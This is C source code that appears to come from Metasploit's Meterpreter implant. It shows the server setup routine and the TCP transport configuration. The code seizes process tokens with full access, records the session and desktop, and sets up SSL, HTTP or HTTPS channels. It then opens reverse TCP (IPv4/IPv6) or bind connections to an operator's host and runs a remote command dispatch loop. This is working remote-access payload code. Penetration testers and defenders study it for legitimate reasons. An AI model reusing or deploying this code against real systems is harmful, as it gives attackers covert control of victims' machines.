/* * Setup and run the server. This is called from Init via the loader. */ DWORD server_setup( SOCKET fd ) { Remote * remote = NULL; char cStationName[256] = {0}; char cDesktopName[256] = {0}; DWORD res = 0; dprintf("[SERVER] Initializing..."); #ifdef _UNIX int local_error = 0; #endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand( (unsigned int)time(NULL) ); __try { do { dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance ); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm ); if( !(remote = remote_allocate(fd)) ) { SetLastError( ERROR_NOT_ENOUGH_MEMORY ); break; } remote->url = global_meterpreter_url; if (strcmp(global_meterpreter_transport+12, "TRANSPORT_SSL") == 0) { remote->transport = METERPRETER_TRANSPORT_SSL; dprintf("[SERVER] Using SSL transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTPS") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTPS; dprintf("[SERVER] Using HTTPS transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTP") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTP; dprintf("[SERVER] Using HTTP transport..."); } // Do not allow the file descriptor to be inherited by child processes SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); dprintf("[SERVER] Initializing tokens..."); // Store our thread handle remote->hServerThread = serverThread->handle; #ifdef _WIN32 // Store our process token if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken); // Copy it to the thread token remote->hThreadToken = remote->hServerToken; // Save the initial session/station/desktop names... remote->dwOrigSessionId = server_sessionid(); remote->dwCurrentSessionId = remote->dwOrigSessionId; GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL ); remote->cpOrigStationName = _strdup( cStationName ); remote->cpCurrentStationName = _strdup( cStationName ); GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL ); remote->cpOrigDesktopName = _strdup( cDesktopName ); remote->cpCurrentDesktopName = _strdup( cDesktopName ); #endif // Process our default SSL-over-TCP transport if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush( remote ); dprintf("[SERVER] Initializing SSL..."); if( !server_initialize_ssl( remote ) ) break; dprintf("[SERVER] Negotiating SSL..."); if( !server_negotiate_ssl( remote ) ) break; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); server_dispatch( remote ); dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) { dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); #ifdef _WIN32 server_dispatch_http_wininet( remote ); #else // XXX: Handle non-windows HTTP transport #endif dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } } while (0); if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Closing down SSL..."); server_destroy_ssl( remote ); } if( remote ) remote_deallocate( remote ); } __except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) ) { dprintf("[SERVER] *** exception triggered!"); thread_kill( serverThread ); } dprintf("[SERVER] Finished."); return res; }
/*! * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. * @param remote Pointer to the remote instance with the TCP transport details wired in. * @param sock Reference to the original socket FD passed to metsrv. * @return Indication of success or failure. */ static BOOL configure_tcp_connection(Transport* transport) { DWORD result = ERROR_SUCCESS; size_t charsConverted; char tempUrl[512] = {0}; TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; // check if comms is already open via a staged payload if (ctx->fd) { dprintf("[TCP] Connection already running on %u", ctx->fd); } else { dprintf("[TCP CONFIGURE] Url: %s", transport->url); // copy the URL to the temp location and work from there // so that we don't damage the original URL while breaking // it up into its individual parts. strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1); //transport->start_time = current_unix_timestamp(); transport->comms_last_packet = current_unix_timestamp(); if (strncmp(tempUrl, "tcp", 3) == 0) { char* pHost = strstr(tempUrl, "//") + 2; char* pPort = strrchr(pHost, ':') + 1; // check if we're using IPv6 if (tempUrl[3] == '6') { char* pScopeId = strrchr(pHost, '?') + 1; *(pScopeId - 1) = '\0'; *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } else { u_short usPort = (u_short)atoi(pPort); // if no host is specified, then we can assume that this is a bind payload, otherwise // we'll assume that the payload is a reverse_tcp one and the given host is valid if (*pHost == ':') { dprintf("[STAGELESS] IPv4 bind port %s", pPort); result = bind_tcp(usPort, &ctx->fd); } else { *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } } } } if (result != ERROR_SUCCESS) { dprintf("[SERVER] Something went wrong %u", result); return FALSE; } dprintf("[SERVER] Looking good, FORWARD!"); dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush(transport); // Short term hack to be removed when the stageless stuff works. // Flush the socket a second time to ignore the payload if we're // reconnecting server_socket_flush(transport); transport->comms_last_packet = current_unix_timestamp(); dprintf("[SERVER] Initializing SSL..."); if (!server_initialize_ssl(transport)) { return FALSE; } dprintf("[SERVER] Negotiating SSL..."); if (!server_negotiate_ssl(transport)) { return FALSE; } return TRUE; }